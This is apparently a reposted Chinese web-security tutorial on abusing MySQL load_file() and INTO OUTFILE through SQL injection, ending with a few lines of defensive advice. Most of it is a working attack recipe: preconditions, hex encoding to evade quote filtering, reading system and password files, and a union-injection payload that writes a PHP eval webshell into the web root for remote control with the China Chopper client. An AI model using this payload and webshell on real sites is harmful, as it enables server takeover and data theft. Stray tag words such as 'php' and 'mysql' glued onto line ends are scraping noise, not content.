web安全之sqlload_file()和into outfile()

load_file()php

  條件:要有file_priv權限mysql

     知道文件的絕對路徑web

     能使用unionsql

     對web目錄有讀權限數據庫

  若是過濾啦單引號,則能夠將函數中的字符進行hex編碼網絡

 

步驟:函數

  1.讀/etc/init.d下的東西,這裏有配置文件路徑。網站

   2.獲得web的安裝路徑編碼

 

3.讀取密碼文件spa

 

 

 

into outfile

條件:

  1。要有file_priv權限

  2.知道網站的絕對路徑

  3.對web有寫的權限

  4.沒有過濾單引號

 

步驟:

直到網站的絕對路徑的時候:

  ?id=1 union select "<?php @eval($_POST['c']); ?>" into
 outfile("網站根目錄")

至關於:

use test;  選擇數據庫爲test
create table aaa(bbb varchar(64));   在數據庫中建立一個表aaa
insert into aaa values("<?php @eval($_POST['c']);?>"); 在aaa中插入一條數據<?php @eval($_POST['c']);?> select * from aaa into outfile 'C:/phpStudy/WWW/a.php'; 將aaa中的數據導出到文件a.php
drop aaa; //刪除創建的表


用菜刀練接;

防護:  數據庫鏈接賬號不能用root權限  php關閉報錯模式  mysql賬號沒有對權限對網絡根目錄有寫的權限
相關文章
相關標籤/搜索